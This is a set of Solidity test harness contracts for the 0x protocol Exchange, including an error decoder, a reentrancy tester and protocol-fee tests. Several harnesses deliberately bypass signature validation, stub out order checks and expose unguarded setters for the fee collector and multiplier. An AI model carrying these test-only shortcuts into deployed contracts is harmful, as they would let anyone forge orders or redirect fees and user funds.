encoded.sliceDestructive(4, encoded.length),
(address, address, uint256)
);
}
/// @dev Decompose an ABI-encoded AssetProxyExistsError.
/// @param encoded ABI-encoded revert error.
/// @return assetProxyId Id of asset proxy.
/// @return assetProxyAddress The address of the asset proxy.
function decodeAssetProxyExistsError(bytes memory encoded)
public
pure
returns (
bytes4 assetProxyId, address assetProxyAddress)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.AssetProxyExistsErrorSelector());
(assetProxyId, assetProxyAddress) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(bytes4, address)
);
}
/// @dev Decompose an ABI-encoded AssetProxyDispatchError.
/// @param encoded ABI-encoded revert error.
/// @return errorCode The error code.
/// @return orderHash Hash of the order being dispatched.
/// @return assetData Asset data of the order being dispatched.
function decodeAssetProxyDispatchError(bytes memory encoded)
public
pure
returns (
LibExchangeRichErrors.AssetProxyDispatchErrorCodes errorCode,
bytes32 orderHash,
bytes memory assetData
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.AssetProxyDispatchErrorSelector());
uint8 _errorCode;
(_errorCode, orderHash, assetData) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(uint8, bytes32, bytes)
);
errorCode = LibExchangeRichErrors.AssetProxyDispatchErrorCodes(_errorCode);
}
/// @dev Decompose an ABI-encoded AssetProxyTransferError.
/// @param encoded ABI-encoded revert error.
/// @return orderHash Hash of the order being dispatched.
/// @return assetData Asset data of the order being dispatched.
/// @return errorData ABI-encoded revert data from the asset proxy.
function decodeAssetProxyTransferError(bytes memory encoded)
public
pure
returns (
bytes32 orderHash,
bytes memory assetData,
bytes memory errorData
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.AssetProxyTransferErrorSelector());
(orderHash, assetData, errorData) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(bytes32, bytes, bytes)
);
}
/// @dev Decompose an ABI-encoded NegativeSpreadError.
/// @param encoded ABI-encoded revert error.
/// @return leftOrderHash Hash of the left order being matched.
/// @return rightOrderHash Hash of the right order being matched.
function decodeNegativeSpreadError(bytes memory encoded)
public
pure
returns (
bytes32 leftOrderHash,
bytes32 rightOrderHash
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.NegativeSpreadErrorSelector());
(leftOrderHash, rightOrderHash) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(bytes32, bytes32)
);
}
/// @dev Decompose an ABI-encoded TransactionError.
/// @param encoded ABI-encoded revert error.
/// @return errorCode The error code.
/// @return transactionHash Hash of the transaction.
function decodeTransactionError(bytes memory encoded)
public
pure
returns (
LibExchangeRichErrors.TransactionErrorCodes errorCode,
bytes32 transactionHash
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.TransactionErrorSelector());
uint8 _errorCode;
(_errorCode, transactionHash) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(uint8, bytes32)
);
errorCode = LibExchangeRichErrors.TransactionErrorCodes(_errorCode);
}
/// @dev Decompose an ABI-encoded TransactionExecutionError.
/// @param encoded ABI-encoded revert error.
/// @return transactionHash Hash of the transaction.
/// @return errorData Error thrown by exeucteTransaction().
function decodeTransactionExecutionError(bytes memory encoded)
public
pure
returns (
bytes32 transactionHash,
bytes memory errorData
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.TransactionExecutionErrorSelector());
(transactionHash, errorData) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(bytes32, bytes)
);
}
/// @dev Decompose an ABI-encoded IncompleteFillError.
/// @param encoded ABI-encoded revert error.
/// @return orderHash Hash of the order being filled.
function decodeIncompleteFillError(bytes memory encoded)
public
pure
returns (
LibExchangeRichErrors.IncompleteFillErrorCode errorCode,
uint256 expectedAssetFillAmount,
uint256 actualAssetFillAmount
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.IncompleteFillErrorSelector());
uint8 _errorCode;
(_errorCode, expectedAssetFillAmount, actualAssetFillAmount) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(uint8, uint256, uint256)
);
errorCode = LibExchangeRichErrors.IncompleteFillErrorCode(_errorCode);
}
/// @dev Revert if the leading 4 bytes of `encoded` is not `selector`.
function _assertSelectorBytes(bytes memory encoded, bytes4 selector)
private
pure
{
bytes4 actualSelector = LibBytes.readBytes4(encoded, 0);
require(
actualSelector == selector,
"BAD_SELECTOR"
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "../src/Exchange.sol";
/// @dev A version of the Exchange contract with simplified signature validation
/// and a `_dispatchTransferFrom()` that only logs arguments.
/// See the `IsolatedExchangeWrapper` and `isolated_fill_order` tests
/// for example usage.
contract IsolatedExchange is
Exchange
{
// solhint-disable no-unused-vars
event DispatchTransferFromCalled(
bytes32 orderHash,
bytes assetData,
address from,
address to,
uint256 amount
);
// solhint-disable no-empty-blocks
constructor ()
public
Exchange(1337)
{}
/// @dev Overridden to only log arguments and revert on certain assetDatas.
function _dispatchTransferFrom(
bytes32 orderHash,
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
emit DispatchTransferFromCalled(
orderHash,
assetData,
from,
to,
amount
);
// Fail if the first byte is 0.
if (assetData.length > 0 && assetData[0] == 0x00) {
revert("TRANSFER_FAILED");
}
}
/// @dev Overridden to simplify signature validation.
/// Unfortunately, this is `view`, so it can't log arguments.
function _isValidOrderWithHashSignature(
LibOrder.Order memory,
bytes32,
bytes memory signature
)
internal
view
returns (bool isValid)
{
// '0x01' in the first byte is valid.
return signature.length == 2 && signature[0] == 0x01;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/LibReentrancyGuardRichErrors.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
import "../src/Exchange.sol";
/// @dev A version of the Exchange that exposes a `testReentrancyGuard()`
/// function which is used to test whether a function is protected by the
/// `nonReentrant` modifier. Several internal functions have also been
/// overridden to simplify constructing valid calls to external functions.
contract ReentrancyTester is
Exchange
{
using LibBytes for bytes;
// solhint-disable no-empty-blocks
// solhint-disable no-unused-vars
constructor ()
public
// Initialize the exchange with a fixed chainId ("test" in hex).
Exchange(0x74657374)
{}
/// @dev Calls a public function to check if it is reentrant.
/// Because this function uses the `nonReentrant` modifier, if
/// the function being called is also guarded by the `nonReentrant` modifier,
/// it will revert when it returns.
function isReentrant(bytes calldata fnCallData)
external
nonReentrant
returns (bool allowsReentrancy)
{
(bool didSucceed, bytes memory resultData) = address(this).delegatecall(fnCallData);
if (didSucceed) {
allowsReentrancy = true;
} else {
if (resultData.equals(LibReentrancyGuardRichErrors.IllegalReentrancyError())) {
allowsReentrancy = false;
} else {
allowsReentrancy = true;
}
}
}
/// @dev Overridden to revert on unsuccessful fillOrder call.
function _fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
// ABI encode calldata for `fillOrder`
bytes memory fillOrderCalldata = abi.encodeWithSelector(
IExchangeCore(address(0)).fillOrder.selector,
order,
takerAssetFillAmount,
signature
);
(bool didSucceed, bytes memory returnData) = address(this).delegatecall(fillOrderCalldata);
if (didSucceed) {
assert(returnData.length == 128);
fillResults = abi.decode(returnData, (LibFillResults.FillResults));
return fillResults;
}
// Revert and rethrow error if unsuccessful
assembly {
revert(add(returnData, 32), mload(returnData))
}
}
/// @dev Overridden to always succeed.
function _fillOrder(
LibOrder.Order memory order,
uint256,
bytes memory
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
fillResults.makerAssetFilledAmount = order.makerAssetAmount;
fillResults.takerAssetFilledAmount = order.takerAssetAmount;
fillResults.makerFeePaid = order.makerFee;
fillResults.takerFeePaid = order.takerFee;
}
/// @dev Overridden to always succeed.
function _fillOrKillOrder(
LibOrder.Order memory order,
uint256,
bytes memory
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
fillResults.makerAssetFilledAmount = order.makerAssetAmount;
fillResults.takerAssetFilledAmount = order.takerAssetAmount;
fillResults.makerFeePaid = order.makerFee;
fillResults.takerFeePaid = order.takerFee;
}
/// @dev Overridden to always succeed.
function _executeTransaction(
LibZeroExTransaction.ZeroExTransaction memory,
bytes memory
)
internal
returns (bytes memory resultData)
{
// Should already point to an empty array.
return resultData;
}
/// @dev Overridden to always succeed.
function _batchMatchOrders(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory,
bytes[] memory,
bool
)
internal
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults)
{
uint256 numOrders = leftOrders.length;
batchMatchedFillResults.left = new LibFillResults.FillResults[](numOrders);
batchMatchedFillResults.right = new LibFillResults.FillResults[](numOrders);
for (uint256 i = 0; i < numOrders; ++i) {
batchMatchedFillResults.left[i] = LibFillResults.FillResults({
makerAssetFilledAmount: leftOrders[i].makerAssetAmount,
takerAssetFilledAmount: leftOrders[i].takerAssetAmount,
makerFeePaid: leftOrders[i].makerFee,
takerFeePaid: leftOrders[i].takerFee,
protocolFeePaid: 0
});
batchMatchedFillResults.right[i] = LibFillResults.FillResults({
makerAssetFilledAmount: rightOrders[i].makerAssetAmount,
takerAssetFilledAmount: rightOrders[i].takerAssetAmount,
makerFeePaid: rightOrders[i].makerFee,
takerFeePaid: rightOrders[i].takerFee,
protocolFeePaid: 0
});
}
}
/// @dev Overridden to always succeed.
function _matchOrders(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory,
bytes memory,
bool
)
internal
returns (LibFillResults.MatchedFillResults memory matchedFillResults)
{
matchedFillResults.left = LibFillResults.FillResults({
makerAssetFilledAmount: leftOrder.makerAssetAmount,
takerAssetFilledAmount: leftOrder.takerAssetAmount,
makerFeePaid: leftOrder.makerFee,
takerFeePaid: leftOrder.takerFee,
protocolFeePaid: 0
});
matchedFillResults.right = LibFillResults.FillResults({
makerAssetFilledAmount: rightOrder.makerAssetAmount,
takerAssetFilledAmount: rightOrder.takerAssetAmount,
makerFeePaid: rightOrder.makerFee,
takerFeePaid: rightOrder.takerFee,
protocolFeePaid: 0
});
}
/// @dev Overridden to do nothing.
function _cancelOrder(LibOrder.Order memory order)
internal
{}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
pragma experimental ABIEncoderV2;
import "../src/MixinAssetProxyDispatcher.sol";
import "../src/MixinTransferSimulator.sol";
contract TestAssetProxyDispatcher is
MixinAssetProxyDispatcher,
MixinTransferSimulator
{
function dispatchTransferFrom(
bytes32 orderHash,
bytes memory assetData,
address from,
address to,
uint256 amount
)
public
{
_dispatchTransferFrom(orderHash, assetData, from, to, amount);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
import "../src/Exchange.sol";
// solhint-disable no-empty-blocks
contract TestExchangeInternals is
Exchange
{
event DispatchTransferFromCalled(
bytes32 orderHash,
bytes assetData,
address from,
address to,
uint256 amount
);
constructor (uint256 chainId)
public
Exchange(chainId)
{}
function assertValidMatch(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder
)
public
view
{
_assertValidMatch(
leftOrder,
rightOrder,
leftOrder.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH),
rightOrder.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH)
);
}
/// @dev Call `_updateFilledState()` but first set `filled[order]` to
/// `orderTakerAssetFilledAmount`.
function testUpdateFilledState(
LibOrder.Order memory order,
address takerAddress,
bytes32 orderHash,
uint256 orderTakerAssetFilledAmount,
LibFillResults.FillResults memory fillResults
)
public
payable
{
filled[LibOrder.getTypedDataHash(order, EIP712_EXCHANGE_DOMAIN_HASH)] = orderTakerAssetFilledAmount;
_updateFilledState(
order,
takerAddress,
orderHash,
orderTakerAssetFilledAmount,
fillResults
);
}
function settleOrder(
bytes32 orderHash,
LibOrder.Order memory order,
address takerAddress,
LibFillResults.FillResults memory fillResults
)
public
{
_settleOrder(orderHash, order, takerAddress, fillResults);
}
function settleMatchOrders(
bytes32 leftOrderHash,
bytes32 rightOrderHash,
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
address takerAddress,
LibFillResults.MatchedFillResults memory matchedFillResults
)
public
{
_settleMatchedOrders(
leftOrderHash,
rightOrderHash,
leftOrder,
rightOrder,
takerAddress,
matchedFillResults
);
}
/// @dev Overidden to only log arguments so we can test `_settleOrder()`.
function _dispatchTransferFrom(
bytes32 orderHash,
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
emit DispatchTransferFromCalled(
orderHash,
assetData,
from,
to,
amount
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
import "../src/Exchange.sol";
// Exchange contract with settlement disabled so we can just check `_fillOrder()``
// calculations.
contract TestFillRounding is
Exchange
{
// solhint-disable no-empty-blocks
constructor ()
public
// Initialize the exchange with a fixed chainId ("test" in hex).
Exchange(0x74657374)
{}
function _settleOrder(
bytes32 orderHash,
LibOrder.Order memory order,
address takerAddress,
LibFillResults.FillResults memory fillResults
)
internal
{
// No-op.
}
function _assertFillableOrder(
LibOrder.Order memory order,
LibOrder.OrderInfo memory orderInfo,
address takerAddress,
bytes memory signature
)
internal
view
{
// No-op.
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
import "../src/libs/LibExchangeRichErrorDecoder.sol";
// solhint-disable no-empty-blocks
contract TestLibExchangeRichErrorDecoder is
LibExchangeRichErrorDecoder
{}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/interfaces/IEtherToken.sol";
// solhint-disable no-unused-vars, no-empty-blocks
contract TestProtocolFeeCollector {
address private _wethAddress;
constructor (
address wethAddress
)
public
{
_wethAddress = wethAddress;
}
function ()
external
payable
{}
/// @dev Pays a protocol fee in WETH (Forwarder orders will always pay protocol fees in WETH).
/// @param makerAddress The address of the order's maker.
/// @param payerAddress The address of the protocol fee payer.
/// @param protocolFeePaid The protocol fee that should be paid.
function payProtocolFee(
address makerAddress,
address payerAddress,
uint256 protocolFeePaid
)
external
payable
{
if (msg.value != protocolFeePaid) {
require(
msg.value == 0,
"No value should be forwarded to collector when paying fee in WETH"
);
// Transfer the protocol fee to this address in WETH.
IEtherToken(_wethAddress).transferFrom(
payerAddress,
address(this),
protocolFeePaid
);
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "../src/Exchange.sol";
contract TestProtocolFees is
Exchange
{
// solhint-disable no-empty-blocks
constructor ()
public
Exchange(1337)
{}
// @dev Expose a setter to the `protocolFeeCollector` state variable.
// @param newProtocolFeeCollector The address that should be made the `protocolFeeCollector`.
function setProtocolFeeCollector(address newProtocolFeeCollector)
external
{
protocolFeeCollector = newProtocolFeeCollector;
}
// @dev Expose a setter to the `protocolFeeMultiplier` state variable.
// @param newProtocolFeeMultiplier The number that should be made the `protocolFeeMultiplier`.
function setProtocolFeeMultiplier(uint256 newProtocolFeeMultiplier)
external
{
protocolFeeMultiplier = newProtocolFeeMultiplier;
}
// @dev Stub out the `_assertFillableOrder` function because we don't actually
// care about order validation in these tests.
function _assertFillableOrder(
LibOrder.Order memory,
LibOrder.OrderInfo memory,
address,
bytes memory
)
internal
view
{} // solhint-disable-line no-empty-blocks
// @dev Stub out the `_assertFillableOrder` function because we don't actually
// care about transfering through proxies in these tests.
function _dispatchTransferFrom(
bytes32 orderHash,
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{} // solhint-disable-line no-empty-blocks
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/LibSafeMath.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "./TestProtocolFees.sol";
// Disable solhint to allow for more informative comments.
// solhint-disable
contract TestProtocolFeesReceiver {
// Attach LibSafeMath to uint256
using LibSafeMath for uint256;
/* Testing Constants */
// A constant to represent a maker address.
address internal constant makerAddress1 = address(1);
// A constant to represent a maker address that is distinct from the
// other maker address.
address internal constant makerAddress2 = address(2);
/* Testing State */
// A struct that provides a schema for test data that should be logged.
struct TestLog {
address loggedMaker;
address loggedPayer;
uint256 loggedProtocolFeePaid;
uint256 loggedValue;
}
// The array of testLogs that will be added to by `payProtocolFee` and processed by the tests.
TestLog[] testLogs;
/* Testing Functions */
/// @dev Tests the `batchFillOrders` function's payment of protocol fees.
/// @param testProtocolFees The TestProtocolFees that should be tested against.
/// @param protocolFeeMultiplier The protocol fee multiplier that should be registered
/// in the test suite before executing `batchFillOrders`.
/// @param numberOfOrders The number of orders that should be created and executed for this test.
/// @param shouldSetProtocolFeeCollector A boolean value indicating whether or not this contract
/// should be registered as the `protocolFeeCollector`.
function testBatchFillOrdersProtocolFees(
TestProtocolFees testProtocolFees,
uint256 protocolFeeMultiplier,
uint256 numberOfOrders,
bool shouldSetProtocolFeeCollector
)
external
payable
handleState(testProtocolFees, protocolFeeMultiplier, shouldSetProtocolFeeCollector)
{
// Create empty arrays for taker asset filled amounts and signatures, which will suffice for this test.
uint256[] memory takerAssetFilledAmounts = new uint256[](numberOfOrders);
bytes[] memory signatures = new bytes[](numberOfOrders);
// Construct an array of orders in which every even-indexed order has a makerAddress of makerAddress1 and
// every odd-indexed order has a makerAddress of makerAddress2. This is done to make sure that the correct
// makers are being logged.
LibOrder.Order[] memory orders = new LibOrder.Order[](numberOfOrders);
for (uint256 i = 0; i < numberOfOrders; i++) {
orders[i] = createOrder(i % 2 == 0 ? makerAddress1 : makerAddress2);
}
// Forward all of the value sent to the contract to `batchFillOrders()`.
testProtocolFees.batchFillOrders.value(msg.value)(orders, takerAssetFilledAmounts, signatures);
// If the `protocolFeeCollector` was set, ensure that the protocol fees were paid correctly.
// Otherwise, the protocol fees should not have been paid.
if (shouldSetProtocolFeeCollector) {
// Ensure that the correct number of test logs were recorded.
require(testLogs.length == numberOfOrders, "Incorrect number of test logs in batchFillOrders test");
// Calculate the expected protocol fee.
uint256 expectedProtocolFeePaid = tx.gasprice.safeMul(protocolFeeMultiplier);
// Set the expected available balance for the first log.
uint256 expectedAvailableBalance = msg.value;
// Verify all of the test logs.
for (uint256 i = 0; i < testLogs.length; i++) {
// Verify the logged data.
verifyTestLog(
testLogs[i],
expectedAvailableBalance, // expectedAvailableBalance
i % 2 == 0 ? makerAddress1 : makerAddress2, // expectedMakerAddress
address(this), // expectedPayerAddress
expectedProtocolFeePaid // expectedProtocolFeePaid
);
// Set the expected available balance for the next log.
expectedAvailableBalance = expectedAvailableBalance >= expectedProtocolFeePaid ?
expectedAvailableBalance - expectedProtocolFeePaid :
expectedAvailableBalance;
}
} else {
// Ensure that zero test logs were created.
require(testLogs.length == 0, "Incorrect number of test logs in batchFillOrders test");
}
}
/// @dev Tests the `fillOrder` function's payment of protocol fees.
/// @param testProtocolFees The TestProtocolFees that should be tested against.
/// @param protocolFeeMultiplier The protocol fee multiplier that should be registered
/// in the test suite before executing `fillOrder`.
/// @param shouldSetProtocolFeeCollector A boolean value indicating whether or not this contract
/// should be registered as the `protocolFeeCollector`.
function testFillOrderProtocolFees(
TestProtocolFees testProtocolFees,
uint256 protocolFeeMultiplier,
bool shouldSetProtocolFeeCollector
)
external
payable
handleState(testProtocolFees, protocolFeeMultiplier, shouldSetProtocolFeeCollector)
{
// Create empty values for the takerAssetFilledAmount and the signature since these values don't
// matter for this test.
uint256 takerAssetFilledAmount = 0;
bytes memory signature = new bytes(0);
// Construct an of order with distinguishing information.
LibOrder.Order memory order = createOrder(makerAddress1);
// Forward all of the value sent to the contract to `fillOrder()`.
testProtocolFees.fillOrder.value(msg.value)(order, takerAssetFilledAmount, signature);
// If the `protocolFeeCollector` was set, ensure that the protocol fee was paid correctly.
// Otherwise, the protocol fee should not have been paid.
if (shouldSetProtocolFeeCollector) {
// Ensure that only one test log was created by the call to `fillOrder()`.
require(testLogs.length == 1, "Incorrect number of test logs in fillOrder test");
// Calculate the expected protocol fee.
uint256 expectedProtocolFeePaid = tx.gasprice.safeMul(protocolFeeMultiplier);
// Verify that the test log that was created is correct.
verifyTestLog(
testLogs[0],
msg.value, // expectedAvailableBalance
makerAddress1, // expectedMakerAddress
address(this), // expectedPayerAddress
expectedProtocolFeePaid // expectedProtocolFeePaid
);
} else {
// Ensure that zero test logs were created.
require(testLogs.length == 0, "Incorrect number of test logs in fillOrder test");
}
}
/// @dev Tests the `matchOrders` function's payment of protocol fees.
/// @param testProtocolFees The TestProtocolFees that should be tested against.
/// @param protocolFeeMultiplier The protocol fee multiplier that should be registered
/// in the test suite before executing `matchOrders`.
/// @param shouldSetProtocolFeeCollector A boolean value indicating whether or not this contract
/// should be registered as the `protocolFeeCollector`.
function testMatchOrdersProtocolFees(
TestProtocolFees testProtocolFees,
uint256 protocolFeeMultiplier,
bool shouldSetProtocolFeeCollector
)
external
payable
handleState(testProtocolFees, protocolFeeMultiplier, shouldSetProtocolFeeCollector)
{
// Create two empty signatures since signatures are not used in this test.
bytes memory leftSignature = new bytes(0);
bytes memory rightSignature = new bytes(0);
// Construct a distinguished left order.
LibOrder.Order memory leftOrder = createOrder(makerAddress1);
// Construct a distinguished right order.
LibOrder.Order memory rightOrder = createOrder(makerAddress2);
// Forward all of the value sent to the contract to `matchOrders()`.
testProtocolFees.matchOrders.value(msg.value)(leftOrder, rightOrder, leftSignature, rightSignature);
// If the `protocolFeeCollector` was set, ensure that the protocol fee was paid correctly.
// Otherwise, the protocol fee should not have been paid.
if (shouldSetProtocolFeeCollector) {
// Ensure that only one test log was created by the call to `fillOrder()`.
require(testLogs.length == 2, "Incorrect number of test logs in matchOrders test");
// Calculate the expected protocol fee.
uint256 expectedProtocolFeePaid = tx.gasprice.safeMul(protocolFeeMultiplier);
// Set the expected available balance for the first log.
uint256 expectedAvailableBalance = msg.value;
// Verify that the first test log that was created is correct.
verifyTestLog(
testLogs[0],
expectedAvailableBalance, // expectedAvailableBalance
makerAddress1, // expectedMakerAddress
address(this), // expectedPayerAddress
expectedProtocolFeePaid // expectedProtocolFeePaid
);
// Set the expected available balance for the second log.
expectedAvailableBalance = expectedAvailableBalance >= expectedProtocolFeePaid ?
expectedAvailableBalance - expectedProtocolFeePaid :
expectedAvailableBalance;
// Verify that the second test log that was created is correct.
verifyTestLog(
testLogs[1],
expectedAvailableBalance, // expectedAvailableBalance
makerAddress2, // expectedMakerAddress
address(this), // expectedPayerAddress
expectedProtocolFeePaid // expectedProtocolFeePaid
);
} else {
// Ensure that zero test logs were created.
require(testLogs.length == 0, "Incorrect number of test logs in matchOrders test");
}
}
/* Verification Functions */
/// @dev Verifies a test log against expected values.
/// @param expectedAvailableBalance The balance that should be available when this call is made.
/// This is important especially for tests on wrapper functions.
/// @param expectedMakerAddress The expected maker address to be recorded in `payProtocolFee`.
/// @param expectedPayerAddress The expected payer address to be recorded in `payProtocolFee`.
/// @param expectedProtocolFeePaid The expected protocol fee paidto be recorded in `payProtocolFee`.
function verifyTestLog(
TestLog memory log,
uint256 expectedAvailableBalance,
address expectedMakerAddress,
address expectedPayerAddress,
uint256 expectedProtocolFeePaid
)
internal
pure
{
// If the expected available balance was sufficient to pay the protocol fee, the protocol fee
// should have been paid in ether. Otherwise, no ether should be sent to pay the protocol fee.
if (expectedAvailableBalance >= expectedProtocolFeePaid) {
// Ensure that the protocol fee was paid in ether.
require(
log.loggedValue == expectedProtocolFeePaid,
"Incorrect eth was received during fillOrder test when adequate ETH was sent"
);
} else {
// Ensure that the protocol fee was not paid in ether.
require(
log.loggedValue == 0,
"Incorrect eth was received during fillOrder test when inadequate ETH was sent"
);
}
// Ensure that the correct data was logged.
require(log.loggedMaker == expectedMakerAddress, "Incorrect maker address was logged");
require(log.loggedPayer == expectedPayerAddress, "Incorrect taker address was logged");
require(log.loggedProtocolFeePaid == expectedProtocolFeePaid, "Incorrect protocol fee was logged");
}
/* Testing Convenience Functions */
/// @dev Sets up state that is necessary for tests and then cleans up the state that was written
/// to so that test cases can be thought of as atomic.
/// @param testProtocolFees The TestProtocolFees contract that is being used during testing.
/// @param protocolFeeMultiplier The protocolFeeMultiplier of this test case.
/// @param shouldSetProtocolFeeCollector A boolean value that indicates whether or not this address
/// should be made the protocol fee collector.
modifier handleState(
TestProtocolFees testProtocolFees,
uint256 protocolFeeMultiplier,
bool shouldSetProtocolFeeCollector
)
{
// If necessary, set the protocol fee collector field in the exchange.
if (shouldSetProtocolFeeCollector) {
testProtocolFees.setProtocolFeeCollector(address(this));
}
// Set the protocol fee multiplier in the exchange.
testProtocolFees.setProtocolFeeMultiplier(protocolFeeMultiplier);
// Execute the test.
_;
}
/// @dev Constructs an order with a specified maker address.
/// @param makerAddress The maker address of the order.
function createOrder(address makerAddress)
internal
pure
returns (LibOrder.Order memory order)
{
order.makerAddress = makerAddress;
order.makerAssetAmount = 1; // This is 1 so that it doesn't trigger a `DivionByZero()` error.
order.takerAssetAmount = 1; // This is 1 so that it doesn't trigger a `DivionByZero()` error.
}
/* Protocol Fee Receiver and Fallback */
/// @dev Receives payments of protocol fees from a TestProtocolFees contract
/// and records the data provided and the message value sent.
/// @param makerAddress The maker address that should be recorded.
/// @param payerAddress The payer address that should be recorded.
/// @param protocolFeePaid The protocol fee that should be recorded.
function payProtocolFee(
address makerAddress,
address payerAddress,
uint256 protocolFeePaid
)
external
payable
{
// Push the collected data into `testLogs`.
testLogs.push(TestLog({
loggedMaker: makerAddress,
loggedPayer: payerAddress,
loggedProtocolFeePaid: protocolFeePaid,
loggedValue: msg.value
}));
}
/// @dev A payable fallback function that makes this contract "payable". This is necessary to allow
/// this contract to gracefully handle refunds from TestProtocolFees contracts.
function ()
external
payable
